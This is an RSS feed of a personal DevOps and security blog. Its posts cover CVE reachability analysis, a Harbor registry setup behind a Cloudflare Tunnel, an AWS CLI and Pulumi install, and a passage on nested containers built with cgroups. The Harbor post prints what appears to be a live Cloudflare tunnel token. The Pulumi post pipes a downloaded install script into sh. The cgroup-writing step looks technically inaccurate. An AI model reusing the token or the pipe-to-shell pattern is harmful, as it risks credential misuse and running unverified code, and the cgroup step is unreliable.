<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[xMind]]></title><description><![CDATA[Blog to share my experiences and thoughts.]]></description><link>https://blog.kcnaiamh.com</link><generator>RSS for Node</generator><lastBuildDate>Tue, 19 May 2026 12:25:37 GMT</lastBuildDate><atom:link href="https://blog.kcnaiamh.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[From Noise to Signal: Proving Which Vulnerabilities Your App Actually Calls]]></title><description><![CDATA[Security dashboards are lying to you. That critical CVE flagged in your dependency scan? Odds are, your application never touches the vulnerable code path. The result is alert fatigue, wasted engineer]]></description><link>https://blog.kcnaiamh.com/from-noise-to-signal-proving-which-vulnerabilities-your-app-actually-calls</link><guid isPermaLink="true">https://blog.kcnaiamh.com/from-noise-to-signal-proving-which-vulnerabilities-your-app-actually-calls</guid><category><![CDATA[appsec]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Fri, 08 May 2026 07:22:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65a6a3c6459f85c37933b978/5fb2c5d6-b3f7-4419-b0fe-da506c95a1ae.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Security dashboards are lying to you. That critical CVE flagged in your dependency scan? Odds are, your application never touches the vulnerable code path. The result is alert fatigue, wasted engineering cycles, and a backlog of "vulnerabilities" that pose zero actual risk.</p>
<p>Reachability analysis cuts through the noise. Instead of treating every flagged dependency as a fire drill, it verifies whether a vulnerable component is actually invoked by your application. The concept is straightforward; the implementation is anything but. This guide bridges the gap between high-level theory and the gritty engineering required to make reachability analysis production-ready.</p>
<hr />
<h2>The Core Pipeline: From SBOM to Call Graph</h2>
<p>Production-grade reachability is not a single tool you install. It is a multi-stage pipeline that translates package-level metadata into code-level execution paths. Here is the flow that actually works.</p>
<h3>1. SBOM Generation: Know Your Inventory</h3>
<p>You cannot analyze what you cannot see. Start by generating a Software Bill of Materials (SBOM) that captures direct and transitive dependencies. Tools like <strong>Syft</strong> excel here, producing a machine-readable inventory of every package in your build artifact or container image. This SBOM is your ground truth—the foundational list of packages that will enter the vulnerability scanning stage.</p>
<h3>2. Vulnerability Mapping: Find the Needles</h3>
<p>Feed your SBOM into a vulnerability database. <strong>OSV.dev</strong> is the pragmatic choice: it aggregates advisories from NVD, GitHub Security Advisories (GHSA), and GitLab, and it accepts package name, version, and ecosystem as query inputs. The output is a list of CVEs affecting your dependencies.</p>
<p>At this stage, you have <em>package-level</em> vulnerability data. You know that <code>log4j-core:2.14.1</code> is bad. You do not yet know if your code ever calls the vulnerable <code>JndiLookup</code> class. That gap is what the next two stages must close.</p>
<h3>3. Symbol Resolution: The Critical Bottleneck</h3>
<p>Here is where most reachability initiatives stall. You must <strong>map each CVE to the specific vulnerable functions or symbols</strong>—not just the affected package. Standard databases rarely provide function-level granularity. OSV might tell you the fix commit, but it will not hand you a list of tainted methods.</p>
<p>To resolve symbols, you often need to:</p>
<ul>
<li><p>Parse security advisories and commit diffs manually.</p>
</li>
<li><p>Diff the vulnerable version against the patched version to identify changed functions.</p>
</li>
<li><p>Cross-reference with PoC exploits when available.</p>
</li>
</ul>
<p>Without this step, your call graph analysis has no target. Symbol resolution is the bridge between "we use a bad package" and "we call the exact bad function."</p>
<h3>4. Static Call Graph Generation: Pathfinding</h3>
<p>With vulnerable symbols identified, you now need to determine if your application reaches them. Build a static call graph from your application's entry points—typically API controllers, message queue handlers, or CLI entry functions.</p>
<ul>
<li><p><strong>Joern</strong> offers multi-language support and is robust for polyglot codebases.</p>
</li>
<li><p><strong>PyCG</strong> is purpose-built for Python and handles modern language features well.</p>
</li>
</ul>
<p>Perform a Breadth-First Search (BFS) from each entry point toward the vulnerable symbols. If a path exists, the vulnerability is <strong>reachable</strong>. If no path exists, the alert is noise, and you can deprioritize it.</p>
<hr />
<h2>Understanding the Dataset Landscape</h2>
<p>Your pipeline is only as good as the data feeding it. A crucial distinction exists between datasets that map CVEs to commits and those that map CVEs to functions.</p>
<h3>CVE → Commit Datasets: Where the Fix Happened</h3>
<p>These datasets identify the commit that patched a vulnerability, but they do not necessarily isolate the root-cause function.</p>
<ul>
<li><p><strong>Project KB (by SAP)</strong>: A high-quality, industry-vetted dataset with strong verified links for Java commits. Use it when you need reliable ground truth for JVM ecosystems.</p>
</li>
<li><p><strong>OSV</strong>: Superior to raw NVD data for commit links, but coverage gaps remain. Treat it as a curated feed, not an exhaustive source.</p>
</li>
<li><p><strong>NVD + GHSA</strong>: Often noisy. References frequently point to vendor announcements rather than actual code commits. Use these as input feeds; never treat them as ground truth.</p>
</li>
</ul>
<h3>CVE → Function Datasets: Where the Bug Lives</h3>
<p>Function-level datasets are the holy grail for reachability, but accuracy varies wildly.</p>
<ul>
<li><p><strong>Vul4J &amp; RustXec</strong>: The gold standard for reproducible research. Each entry includes a Proof-of-Concept (PoC) exploit and build scripts. The trade-off is scale: both are limited to roughly 80–100 CVEs each.</p>
</li>
<li><p><strong>MegaVul</strong>: Boasts over 6,000 CVEs, but research from the <strong>MONO</strong> framework indicates that approximately 31% of entries are non-security patches. You must filter aggressively before using it for reachability modeling.</p>
</li>
<li><p><strong>BigVul / DiverseVul</strong>: Large-scale datasets with broad coverage, yet independent audits show label accuracy often drops below 60%. They require heavy cleaning and manual verification before they can drive production decisions.</p>
</li>
</ul>
<hr />
<h2>Why Reachability is an Engineering Nightmare</h2>
<p>Even with a clean pipeline and quality datasets, several structural problems make reachability analysis a maintenance burden.</p>
<h3>The Bytecode Barrier</h3>
<p>In compiled ecosystems like Java, your dependencies arrive as bytecode while your application is analyzed from source. Aligning these into a unified intermediate representation for cross-referencing is non-trivial. Every JDK update, build tool change, or dependency version bump risks breaking the alignment layer.</p>
<h3>Inter-Procedural Ambiguity</h3>
<p>Research indicates that <strong>89% of real-world vulnerabilities are inter-procedural</strong>. The patch might add a safety check in a <em>caller</em> function, while the actual flawed logic remains buried in a <em>callee</em>. If your analysis evaluates functions in isolation, you will miss the context that determines whether the vulnerability is exploitable in your specific call chain.</p>
<h3>Incomplete Codebases</h3>
<p>Security analysts frequently work with historical vulnerability snapshots that no longer build cleanly. Dependencies have vanished, build scripts have rotted, and the environment has shifted. Tools like <strong>JESS</strong> address this by using slicing and stub generation to compile methods in isolation, successfully recovering <strong>73%</strong> of files from otherwise unbuildable repositories.</p>
<h3>Silent Fixes</h3>
<p>Not every vulnerability is tracked with a CVE or a clear commit message. Many are patched quietly in routine maintenance releases. Detecting these "silent" fixes requires either advanced graph-based tools like <strong>Fixseeker</strong> or lightweight statistical filters like <strong>Hash4Patch</strong> to suppress false positives from already-patched code.</p>
<hr />
<h2>The Bottom Line</h2>
<p>Reachability analysis transforms security from a game of whack-a-mole into a prioritized risk roadmap. The engineering hurdles are real—bytecode alignment, inter-procedural reasoning, incomplete snapshots, and silent patches demand significant tooling investment.</p>
<p>Yet the payoff is a pragmatic security posture. When you can demonstrably show that a critical CVE has no call path from your application's surface, you stop burning engineering hours on phantom risks. You focus patching, testing, and incident response on the subset of vulnerabilities that are actually reachable, exploitable, and relevant to your runtime.</p>
<p>That is the difference between being busy and being secure.</p>
]]></content:encoded></item><item><title><![CDATA[Setting Up Harbor with Let's Encrypt and Cloudflare Tunnel on Ubuntu]]></title><description><![CDATA[Harbor is an enterprise-class private container registry with advanced features like RBAC, replication, vulnerability scanning, and more. In this guide, we'll set up Harbor on a Ubuntu machine, secure it with Let's Encrypt certificates, and use Cloud...]]></description><link>https://blog.kcnaiamh.com/setting-up-harbor-with-lets-encrypt-and-cloudflare-tunnel-on-ubuntu</link><guid isPermaLink="true">https://blog.kcnaiamh.com/setting-up-harbor-with-lets-encrypt-and-cloudflare-tunnel-on-ubuntu</guid><category><![CDATA[harbor]]></category><category><![CDATA[cloudflare]]></category><category><![CDATA[Ubuntu]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Let's Encrypt]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 26 Jul 2025 04:44:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753505055095/c37a388c-9292-4c07-beb1-b7f2fac9ad8e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Harbor is an enterprise-class private container registry with advanced features like RBAC, replication, vulnerability scanning, and more. In this guide, we'll set up <strong>Harbor</strong> on a <strong>Ubuntu machine</strong>, secure it with <strong>Let's Encrypt certificates</strong>, and use <strong>Cloudflare Tunnel</strong> for the HTTP-01 challenge.</p>
<hr />
<h2 id="heading-1-system-prerequisites">1. System Prerequisites</h2>
<p>Make sure you meet the following requirements:</p>
<ul>
<li><p>Ubuntu 24.04</p>
</li>
<li><p>Publicly resolvable domain (e.g., <a target="_blank" href="http://harbor.kcnaiamh.com"><code>harbor.kcnaiamh.com</code></a>)</p>
</li>
<li><p>Access to your Cloudflare account</p>
</li>
<li><p>Root privileges or sudo access</p>
</li>
<li><p>Docker engine version 27.5.1</p>
</li>
<li><p>Docker compose version 1.29.2</p>
</li>
</ul>
<h3 id="heading-install-required-tools">Install Required Tools</h3>
<pre><code class="lang-bash">sudo apt update &amp;&amp; sudo apt install -y curl git unzip apt-transport-https ca-certificates gnupg lsb-release jq docker.io docker-compose openssl tar certbot
</code></pre>
<hr />
<h2 id="heading-2-install-harbor-via-online-installer">2. Install Harbor via Online Installer</h2>
<h3 id="heading-download-harbor-installer">Download Harbor Installer</h3>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> ~
curl -s https://api.github.com/repos/goharbor/harbor/releases/latest | grep browser_download_url | cut -d <span class="hljs-string">'"'</span> -f 4 | grep <span class="hljs-string">'\.tgz$'</span> | tail -1 | wget -i -
tar xf harbor-online-installer-v*.tgz
<span class="hljs-built_in">cd</span> harbor
</code></pre>
<h3 id="heading-prepare-the-harboryml-configuration">Prepare the <code>harbor.yml</code> Configuration</h3>
<pre><code class="lang-bash">cp harbor.yml.tmpl harbor.yml
</code></pre>
<p>Edit the following fields in <code>harbor.yml</code>:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">hostname:</span> <span class="hljs-string">harbor.kcnaiamh.com</span>
<span class="hljs-attr">https:</span>
  <span class="hljs-attr">port:</span> <span class="hljs-number">443</span>
  <span class="hljs-attr">certificate:</span> <span class="hljs-string">/etc/letsencrypt/live/harbor.kcnaiamh.com/fullchain.pem</span>
  <span class="hljs-attr">private_key:</span> <span class="hljs-string">/etc/letsencrypt/live/harbor.kcnaiamh.com/privkey.pem</span>
</code></pre>
<blockquote>
<p>You need to specify your own subdomain here.</p>
</blockquote>
<p>You can run the following command to change the required filed without opening the file. Also, don't forget to change <a target="_blank" href="http://harbor.kcnaiamh.com"><code>harbor.kcnaiamh.com</code></a> to your own subdomain.</p>
<pre><code class="lang-sh">sed -i <span class="hljs-string">'s/^hostname: .*/hostname: harbor.kcnaiamh.com/g'</span> harbor.yml
sed -i <span class="hljs-string">'s/^http:/# http:/g'</span> harbor.yml
sed -i <span class="hljs-string">'s/^  port: 80/  # port: 80/g'</span> harbor.yml
sed -i <span class="hljs-string">'s|^  certificate: .*|  certificate: /etc/letsencrypt/live/harbor.kcnaiamh.com/fullchain.pem|g'</span> harbor.yml
sed -i <span class="hljs-string">'s|^  private_key: .*|  private_key: /etc/letsencrypt/live/harbor.kcnaiamh.com/privkey.pem|g'</span> harbor.yml
</code></pre>
<blockquote>
<p>⚠️ Don’t run <a target="_blank" href="http://install.sh"><code>install.sh</code></a> yet — we need the certs first.</p>
</blockquote>
<hr />
<h2 id="heading-3-setup-cloudflare-tunnel-for-lets-encrypt-http-01-challenge">3. Setup Cloudflare Tunnel (For Let's Encrypt HTTP-01 Challenge)</h2>
<blockquote>
<p>If you have dedicated public IP address from your ISP then you don't need this step.</p>
</blockquote>
<h3 id="heading-create-a-cloudflare-tunnel">Create a Cloudflare Tunnel</h3>
<ol>
<li><p>Install <code>cloudflared</code>:</p>
<p> If you don’t have cloudflared installed on your machine, run the following:</p>
</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-comment"># Add cloudflare gpg key</span>
sudo mkdir -p --mode=0755 /usr/share/keyrings
curl -fsSL https://pkg.cloudflare.com/cloudflare-main.gpg | sudo tee /usr/share/keyrings/cloudflare-main.gpg &gt;/dev/null

<span class="hljs-comment"># Add this repo to your apt repositories</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">'deb [signed-by=/usr/share/keyrings/cloudflare-main.gpg] https://pkg.cloudflare.com/cloudflared any main'</span> | sudo tee /etc/apt/sources.list.d/cloudflared.list

<span class="hljs-comment"># install cloudflared</span>
sudo apt-get update &amp;&amp; sudo apt-get install cloudflared
</code></pre>
<ol start="2">
<li><p>Setup <code>cloudflared</code> service:</p>
<p> After you have installed cloudflared on your machine, you can install a service to automatically run your tunnel whenever your machine starts:</p>
</li>
</ol>
<pre><code class="lang-bash">sudo cloudflared service install eyJhIjoiNGM1MTIxNmFhNGU2MTU0NWM4OGUxMjExMDk3YTNjNWYiLCJ0IjoiODIyZjU0ZjYtMmRlNi00NjNiLWEzZDYtYzdkOWUxMDAxZTkzIiwicyI6Ik16aGhOMlpsWmpNdE5UUXpNeTAwWW1ZMUxXSmxPRE10TW1Rd1lqVTRZamxsWVdSaSJ9
</code></pre>
<blockquote>
<p>You will get the token when doing the tunnel setup.</p>
</blockquote>
<ol start="3">
<li>Now setup appropriate subdomain and domain in the cloudflare route tunnel.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753504443296/87bd16ae-c0b3-4529-821e-87b6b80a156d.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-4-get-lets-encrypt-certificate-via-certbot">4. Get Let's Encrypt Certificate via Certbot</h2>
<p>Since HTTP is tunneled through Cloudflare, Certbot's default HTTP challenge will work.</p>
<h3 id="heading-temporarily-serve-http-for-challenge">Temporarily Serve HTTP for Challenge</h3>
<pre><code class="lang-bash">sudo certbot certonly --standalone --preferred-challenges http -d <span class="hljs-string">"harbor.kcnaiamh.com"</span> --agree-tos -n -m <span class="hljs-string">"naim@gmail.com"</span> --keep-until-expiring
</code></pre>
<blockquote>
<p>Change subdomain and email address according to yours.</p>
</blockquote>
<p>Certs will be saved under:</p>
<pre><code class="lang-bash">/etc/letsencrypt/live/harbor.kcnaiamh.com/
</code></pre>
<hr />
<h2 id="heading-5-start-harbor">5. Start Harbor</h2>
<h3 id="heading-install-harbor">🔧 Install Harbor</h3>
<pre><code class="lang-bash">sudo ./install.sh --with-trivy
</code></pre>
<p>Harbor should now be accessible via:</p>
<pre><code class="lang-bash">https://harbor.kcnaiamh.com
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753504469079/8bf852f9-b160-4712-b090-9dfe0112446c.png" alt class="image--center mx-auto" /></p>
<p>Default credentials:</p>
<ul>
<li><p><strong>Username:</strong> <code>admin</code></p>
</li>
<li><p><strong>Password:</strong> set in <code>harbor.yml</code> (Default pass: <code>Harbor12345</code>)</p>
</li>
</ul>
<hr />
<h2 id="heading-optional-setup-cert-renewal-with-systemd-timer">Optional: Setup Cert Renewal with Systemd Timer</h2>
<p>Create <code>/etc/systemd/system/renew-harbor-cert.service</code>:</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=Renew Let<span class="hljs-string">'s Encrypt certs and restart Harbor
[Service]
Type=oneshot
ExecStart=/usr/bin/certbot renew --quiet
ExecStartPost=/opt/harbor/prepare
ExecStartPost=/opt/harbor/install.sh</span>
</code></pre>
<p>Create the timer <code>/etc/systemd/system/renew-harbor-cert.timer</code>:</p>
<pre><code class="lang-ini"><span class="hljs-section">[Unit]</span>
<span class="hljs-attr">Description</span>=Timer for cert renewal

<span class="hljs-section">[Timer]</span>
<span class="hljs-attr">OnCalendar</span>=weekly
<span class="hljs-attr">Persistent</span>=<span class="hljs-literal">true</span>

<span class="hljs-section">[Install]</span>
<span class="hljs-attr">WantedBy</span>=timers.target
</code></pre>
<p>Enable it:</p>
<pre><code class="lang-bash">sudo systemctl daemon-reexec
sudo systemctl <span class="hljs-built_in">enable</span> --now renew-harbor-cert.timer
</code></pre>
<h2 id="heading-clean-up">Clean Up</h2>
<p>To delete the certificate, run the following command:</p>
<pre><code class="lang-sh">sudo certbot delete --cert-name harbor.kcnaiamh.com
</code></pre>
<hr />
<h2 id="heading-final-thoughts">Final Thoughts</h2>
<p>Using <strong>Cloudflare Tunnel</strong> with <strong>Let's Encrypt</strong> offers a neat workaround for systems behind NAT or without public IPs. Combined with <strong>Harbor</strong>, this makes a secure and professional-grade private registry feasible on even home labs.</p>
<p>If you're using Harbor in production, consider:</p>
<ul>
<li><p><strong>Enabling RBAC &amp; LDAP</strong></p>
</li>
<li><p><strong>Enabling replication for DR</strong></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Installing and Setting Up AWS CLI and Pulumi on Ubuntu 24.04]]></title><description><![CDATA[Introduction
This document provides a step-by-step guide to installing and configuring the AWS CLI and Pulumi on Ubuntu 24.04.
Prerequisites

Ubuntu 24.04 installed and configured.

A user account with sudo privileges.

An active AWS account.


1. In...]]></description><link>https://blog.kcnaiamh.com/installing-and-setting-up-aws-cli-and-pulumi-on-ubuntu-2404</link><guid isPermaLink="true">https://blog.kcnaiamh.com/installing-and-setting-up-aws-cli-and-pulumi-on-ubuntu-2404</guid><category><![CDATA[Pulumi Setup]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Pulumi]]></category><category><![CDATA[AWS CLI Setup]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Mon, 31 Mar 2025 13:28:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743427604886/d62d1f97-f5e3-4346-a78f-b6a69a6e6c02.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>This document provides a step-by-step guide to installing and configuring the AWS CLI and Pulumi on Ubuntu 24.04.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li><p>Ubuntu 24.04 installed and configured.</p>
</li>
<li><p>A user account with <code>sudo</code> privileges.</p>
</li>
<li><p>An active AWS account.</p>
</li>
</ul>
<h2 id="heading-1-installing-aws-cli-using-pipx">1. Installing AWS CLI using pipx</h2>
<p><strong>Step 1.1: Update Package Lists</strong></p>
<p>First, ensure your system's package lists are up to date:</p>
<pre><code class="lang-bash">sudo apt update
</code></pre>
<p><strong>Step 1.2: Install pipx (if necessary)</strong></p>
<p>Check if <code>pipx</code> is installed:</p>
<pre><code class="lang-bash">pipx --version
</code></pre>
<p>If <code>pipx</code> is not installed, install it using <code>apt</code>:</p>
<pre><code class="lang-bash">sudo apt install pipx
pipx ensurepath
<span class="hljs-built_in">source</span> ~/.bashrc
</code></pre>
<p><strong>Step 1.3: Install AWS CLI using pipx</strong></p>
<p>Install the AWS CLI using <code>pipx</code>:</p>
<pre><code class="lang-bash">pipx install awscli
</code></pre>
<p><strong>Step 1.4: Verify Installation</strong></p>
<p>Verify the installation by checking the AWS CLI version:</p>
<pre><code class="lang-bash">aws --version
</code></pre>
<p>This command should display the installed AWS CLI version.</p>
<p><strong>Step 1.5: Configure AWS CLI</strong></p>
<p>Configure the AWS CLI with your AWS credentials. You will need your AWS Access Key ID, Secret Access Key, and Session Token (if using temporary credentials). For details on obtaining these credentials, <a target="_blank" href="https://blog.kcnaiamh.com/creating-aws-access-keys-for-iam-and-iam-identity-center-users">check out this blog</a>.</p>
<pre><code class="lang-bash">aws configure
</code></pre>
<p>You will be prompted to enter the following information:</p>
<ul>
<li><p><strong>AWS Access Key ID:</strong> Your AWS Access Key ID.</p>
</li>
<li><p><strong>AWS Secret Access Key:</strong> Your AWS Secret Access Key.</p>
</li>
<li><p><strong>Default region name:</strong> The AWS region you want to use by default (e.g., <code>ap-southeast-1</code>).</p>
</li>
<li><p><strong>Default output format:</strong> The output format (e.g., <code>json</code>, <code>text</code>, <code>table</code>).</p>
</li>
</ul>
<p>For AWS Session Token, run the following command:</p>
<pre><code class="lang-bash">aws configure <span class="hljs-built_in">set</span> aws_session_token &lt;YOUR_SESSION_TOKEN&gt;
</code></pre>
<h2 id="heading-2-installing-pulumi">2. Installing Pulumi</h2>
<p><strong>Step 2.1: Install Pulumi using the Installation Script</strong></p>
<p>Pulumi provides an installation script that simplifies the process. Run the following command:</p>
<pre><code class="lang-bash">curl -fsSL https://get.pulumi.com | sh
</code></pre>
<p>This script will download and install Pulumi.</p>
<p><strong>Step 2.2: Add Pulumi to Your PATH</strong></p>
<p>The installation script adds Pulumi to your PATH.</p>
<p>However, if it doesn't, you can manually add it by adding the following line to your <code>~/.bashrc</code> file:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> PATH=<span class="hljs-variable">$PATH</span>:~/.pulumi/bin
</code></pre>
<p>Then, apply the changes by running:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">source</span> ~/.bashrc
</code></pre>
<p><strong>Step 2.3: Verify Installation</strong></p>
<p>Verify the installation by checking the Pulumi version:</p>
<pre><code class="lang-bash">pulumi version
</code></pre>
<p>This command should display the installed Pulumi version.</p>
<p><strong>Step 2.4: Configure Pulumi for AWS</strong></p>
<p>Pulumi uses your AWS CLI credentials by default. If you have already configured the AWS CLI, Pulumi will use those credentials.</p>
<p>If not, you can configure Pulumi to use specific AWS credentials by setting environment variables:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> AWS_ACCESS_KEY_ID=<span class="hljs-string">"YOUR_ACCESS_KEY_ID"</span>
<span class="hljs-built_in">export</span> AWS_SECRET_ACCESS_KEY=<span class="hljs-string">"YOUR_SECRET_ACCESS_KEY"</span>
<span class="hljs-built_in">export</span> AWS_SESSION_TOKEN=<span class="hljs-string">"YOUR_SESSION_TOKEN"</span> <span class="hljs-comment"># if applicable</span>
<span class="hljs-built_in">export</span> AWS_REGION=<span class="hljs-string">"YOUR_AWS_REGION"</span>
</code></pre>
<p>Replace <code>YOUR_ACCESS_KEY_ID</code>, <code>YOUR_SECRET_ACCESS_KEY</code>, <code>YOUR_SESSION_TOKEN</code>, and <code>YOUR_AWS_REGION</code> with your actual AWS credentials and region.</p>
<p><strong>Step 2.5: Create a Pulumi Account (Optional but Recommended)</strong></p>
<p>While Pulumi can work with local state files, it's highly recommended to create a Pulumi account for state management, collaboration, and other features.</p>
<ul>
<li><p>Visit the Pulumi website (<a target="_blank" href="http://pulumi.com">pulumi.com</a>) and create an account.</p>
</li>
<li><p>Log in to your Pulumi account from the command line:</p>
</li>
</ul>
<pre><code class="lang-bash">pulumi login
</code></pre>
<p>To run Pulumi locally without login, use <code>--local</code> flag:</p>
<pre><code class="lang-bash">pulumi login --<span class="hljs-built_in">local</span>
</code></pre>
<p>In this case all the state data will be stored locally under <code>~/.pulumi/</code> directory.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>You have now successfully installed and set up AWS CLI and Pulumi on your Ubuntu 24.04 system. You can now use these tools to manage your AWS resources efficiently.</p>
]]></content:encoded></item><item><title><![CDATA[Creating Nested Containers: The Raw Way]]></title><description><![CDATA[What motivated me to do this?
While reading the book Container Security, a strange question popped into my head. Since everything inside a container is essentially a process running on the host machine's Linux kernel, what about creating nested conta...]]></description><link>https://blog.kcnaiamh.com/creating-nested-containers-the-raw-way</link><guid isPermaLink="true">https://blog.kcnaiamh.com/creating-nested-containers-the-raw-way</guid><category><![CDATA[containerization]]></category><category><![CDATA[containers]]></category><category><![CDATA[Linux]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 01 Feb 2025 10:50:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1738406798048/5b819600-5588-4a24-9535-4edcd00d4db6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-motivated-me-to-do-this">What motivated me to do this?</h2>
<p>While reading the book <a target="_blank" href="https://www.oreilly.com/library/view/container-security/9781492056690/">Container Security</a>, a strange question popped into my head. Since everything inside a container is essentially a process running on the host machine's Linux kernel, what about creating nested containers? From the kernel's perspective, it would be yet another isolated process, right?</p>
<p>I tried running a container inside another container using Docker, but it didn't work. I then discovered that Docker uses a client-server architecture, and everything is managed by a central root process called the Docker daemon.</p>
<p>Later, I found something called <a target="_blank" href="https://hub.docker.com/_/docker/tags?name=dind">Docker in Docker</a>, or DIND for short. It's a special Docker image designed to run Docker inside a DIND Docker container. Cool, right?</p>
<p>This inspired me to explore whether I could create three levels of nested containers using Namespaces, Control Groups, and by directly modifying the file system. It was an amazing learning experience about containers! In this article, I’m sharing how you can do the same, along with the insights I gained.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">🖥</div>
<div data-node-type="callout-text"><strong>NOTE:</strong> In this article, when you see a command starts with <code>sudo</code>, it runs on the host machine. When a command is given without <code>sudo</code>, it runs inside container.</div>
</div>

<h2 id="heading-lets-do-this">Let’s Do This!</h2>
<p>To conduct the experiment, I'm using AWS EC2, but you can also use a virtual machine. The main requirements are a Linux kernel and a stable internet connection.</p>
<h3 id="heading-1-setup-file-system">1. Setup File System</h3>
<p>So, as usual, before installing any package on Linux, update the package list.</p>
<pre><code class="lang-bash">sudo apt update
</code></pre>
<p>To set up a minimal Debian-based file system with correct permissions, use the <code>debootstrap</code> tool. This utility creates a basic Debian or Ubuntu filesystem by downloading and extracting only the necessary packages.</p>
<pre><code class="lang-bash">sudo apt install debootstrap
</code></pre>
<p>Once you have <code>debootstrap</code> installed, the next step is to create a directory where the minimal filesystem will be built. You can name the directory anything you like. In this example, we'll create a directory called <code>ubuntufs</code>:</p>
<pre><code class="lang-bash">mkdir ubuntufs
</code></pre>
<p>Now, use the <code>debootstrap</code> command to create a minimal Ubuntu filesystem. Here, <code>jammy</code> refers to the codename for Ubuntu 22.04 LTS, and <code>ubuntufs</code> is the directory where the filesystem will be set up.</p>
<pre><code class="lang-bash">sudo debootstrap jammy ubuntufs
</code></pre>
<p>You might need to wait for some minutes to download and unpack the file system by running this command.</p>
<p>Now let’s switch to root user.</p>
<pre><code class="lang-bash">sudo su
</code></pre>
<p>As we create nested containers, we'll reuse this <code>ubuntufs</code> file system three times. So, we'll copy this directory as shown below.</p>
<pre><code class="lang-plaintext">/home/ubuntu
      └──── /ubuntufs/root
                      └── /lubuntufs/root
                                     └── /llubuntufs
</code></pre>
<p>Note that we are using the <code>-a</code> flag in the <code>cp</code> command. Why <code>-a</code> and not <code>-r</code>? Because the <code>-a</code> flag preserves the permissions of all files while copying.</p>
<pre><code class="lang-bash">cp -a ubuntufs/ lubuntufs/
mv lubuntufs/ ubuntufs/root/
<span class="hljs-built_in">cd</span> ubuntufs/root/
cp -a lubuntufs/ llubuntufs/
mv llubuntufs/ lubuntufs/root/
<span class="hljs-built_in">exit</span>
</code></pre>
<h3 id="heading-2-create-cgroup-for-1st-container">2. Create cgroup for 1st Container</h3>
<p>Now, to work with cgroups, we will use the <code>cgcreate</code>, <code>cgset</code>, and <code>cgexec</code> commands. To do this, we need to install the <code>cgroup-tools</code> package.</p>
<pre><code class="lang-bash">sudo apt install cgroup-tools -y
</code></pre>
<p>To create a new cgroup, we are using <code>cgcreate</code> command. Let’s create a cgroup named <code>container1</code> with the <code>memory</code>, <code>pids</code>, and <code>cpu</code> controllers. These controllers help to restrict memory usage, process IDs, and CPU usage for processes attach within this cgroup.</p>
<pre><code class="lang-bash">sudo cgcreate -g memory,pids,cpu:container1
</code></pre>
<p>This command sets up the specified controller for <code>container1</code>, enabling resource restrictions for any processes you later assign to it.</p>
<p>Now that the <code>container1</code> cgroup is created with specified controllers, you can set specific resource limits for memory, process IDs (pids), and CPU usage. Here's how I’m configuring them:</p>
<ol>
<li><p><strong>Set the memory limit</strong>: All the process in <code>container1</code> can’t allocate more than 256MB of memory.</p>
</li>
<li><p><strong>Set the process limit</strong>: At most 10 processes can be created under <code>container1</code>.</p>
</li>
<li><p><strong>Set CPU weight</strong>: This command adjusts the CPU scheduling priority for <code>container1</code>. A higher value means more CPU time for the cgroup. Here, it's set to default value 100.</p>
</li>
</ol>
<pre><code class="lang-bash">sudo cgset -r memory.max=256M container1
sudo cgset -r pids.max=10 container1
sudo cgset -r cpu.weight=100 container1
</code></pre>
<p>There are more cgroup controllers. Just for learning purpose we are using main three. To know more <a target="_blank" href="https://docs.kernel.org/admin-guide/cgroup-v2.html#controllers">read the documentation</a>.</p>
<h3 id="heading-21-create-cgroup-without-any-tools">2.1 Create cgroup Without Any Tools</h3>
<p>(You can ignore this portion of the article if you want.)</p>
<p>Create <code>container1</code> directory under <code>/sys/fs/cgroup/</code> path.</p>
<pre><code class="lang-bash">sudo mkdir -p /sys/fs/cgroup/container1
</code></pre>
<p>Inside the <code>container1</code> directory, you will notice that necessary folders are automatically created by the kernel.</p>
<p>Now, to enable the <code>memory</code>, <code>pids</code>, and <code>cpu</code> controllers for the <code>container1</code> cgroup, you need to configure the <code>cgroup.controllers</code> file.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"+memory +pids +cpu"</span> | sudo tee /sys/fs/cgroup/container1/cgroup.controllers
</code></pre>
<p>These controllers are now active and will manage resources for any processes assigned to this cgroup.</p>
<p>Now, let's assign specific values to the <code>memory.max</code>, <code>pids.max</code>, and <code>cpu.weight</code> files to set the limits for each controller.</p>
